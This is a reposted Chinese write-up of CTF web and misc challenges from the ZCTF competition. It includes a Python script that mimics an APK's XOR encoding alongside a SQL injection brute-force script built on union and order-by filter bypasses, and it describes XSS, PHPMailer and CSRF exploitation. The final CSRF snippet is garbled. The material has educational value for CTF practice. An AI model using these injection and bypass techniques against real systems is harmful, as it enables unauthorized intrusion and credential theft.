php_up53.sh,【CTF攻略】第三届XCTF——郑州站ZCTF第一名战队Writeup

转载

weixin_39919948 于 2021-04-01 23:54:10 发布 32 收藏
文章标签： php_up53.sh

预估稿费：500RMB

投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿

Misc-Sign in

据说有12s麒麟臂。

Web-web100

网页设计得很简单，首页只返回了ha? 没有其他链接，猜到可能会有源码。尝试过后在.index.php.swp文件中得到php源码

限制flag参数的md5必须为一个固定的0e开头的md5，并在同时在字符串中包含zctf，然后会输出flag。写好代码爆破一番得到zctf00=a8。得到flag

Web-Find my eyes

一开始会觉得是一个博客站，逻辑比较复杂，后来发现其实只有contact.php 文件中有一个留言功能，结合网站部署有csp。猜测是xss漏洞。然后测试4个参数。只有textarea有过滤，其他地方感觉不能正常写入html。然后textarea的过滤相当严格。找了很多用来加载外部资源的html关键字都被过滤。然后大师傅发现是高版本的jquery库，可以利用sourceMappingURL加载外部资源。最后成功的payload是

在服务器的http request里面user-agent中发现flag

Web-easy apk

打开APK后发现有两个窗口，一个用于验证用户名密码，一个用于提交邮件，APK会将用户名密码等信息提交到远程服务器做验证，提交前会对用户的输入做一次简单的加密。

加密函数位于libnative-lib.so中的Change函数中，如下，主要是使用密钥对数据进行循环的异或加密。在加密前会将输入字符串逆序。加密后转化为十六进制。

在加密前，changekey函数会对密钥做简单的修改，大概的逻辑是对原字符串每隔2个取一个字符。因此，在java层传入的密钥“1234567890”经过变换后成为“1470”。

因此根据上面的分析，可以写出与原APK逻辑一致的Python脚本

```
import requests

def enc(data):

key = '1470' * 30
```

```
data = data[::-1]
result = []
for i in range(len(data)):
tmp = ord(key[i]) ^ ord(data[i])
result.append(tmp)
return ''.join(['%.2x' % i for i in result])
def step1(username, password):
reply = requests.post('http://58.213.63.30:10005/', data=
{'username': enc(username), 'password': enc(password)})
print reply.text
return reply.json()
def step2(username, password, mail, title, body):
# body=40454641&password=0305&title=404546&username=&mail=4645
reply = requests.post('http://58.213.63.30:10005/mail.php',
data={'username': enc(username),
'password': enc(password),
'mail': enc(mail),
'title': enc(title),
'body': enc(body)})
print reply.text
return reply.json()
if __name__ == '__main__':
username = '1'
password = '2'
mail = '3'
title = '4'
body = '5'
if step1(username, password)['result'] == 'OK':
step2(username, password, mail, title, body)
```

队里的师傅反编译apk后查看逻辑，发现就是将数据内容与密钥1470循环亦或后正常的post提交。有两个页面，index.php用来登录mail.php用来发邮件。首先发现参数有sql关键字的过滤，然后参数内容用'or 1=1#发现user返回了admin，但是result还是false，不能进行下一步发邮件的操作。然后思考能不能用union或者盲注把admin用户的password跑出来。但是()被过滤，不能使用函数，时间盲注不了，然后password字段被过滤，布尔值注入也不能成功。然后发现用union%0aselect能成功绕过过滤，into被过滤，也不能成功写文件。然后可用的关键字还有order by。两者结合发现自己union注入出来的列和原本的admin列同时存在的时候order by 3。然后回显中出现了username的那一列相对字典序要小一点。和盲注差不多就能跑出来了。认证过程放入step1函数，注入代码如下

```
for i in string.printable:

username = "'or 1=1 unionxa0select 2,'233','%s' order by 3    #"%i

print username

if step1(username, password)['username'] == 'admin':

print last

break

last=i
```

注入出来后md5解密。第二个接口是phpmailer漏洞，结合hint根目录不可写，在upload目录下写入php，得到flag

Web-onlymyself

大概浏览网站，有注册，登陆，修改个人资料，记录note，搜索note，提交bug这几个功能。

然后挨着测试是否有功能缺陷。admin是系统自带的，所以猜测flag在admin用户哪里。可以利用xss进入管理员账号。然后发现有交互的功能只存在于提交bug那里。然后发现漏洞链接那里存在xss漏洞。而且xss漏洞进去那个页面存在注入。后来才知道是设计不完善，于是重新思考，猜测会模拟管理员去点击提交的那一个链接，可以利用javascript伪协议或者csrf漏洞+selfxss。选择的后者，在更改个人资料的时候发现并没有验证csrftoken,所以写了一个利用csrf的html网页

```
/*">

">
```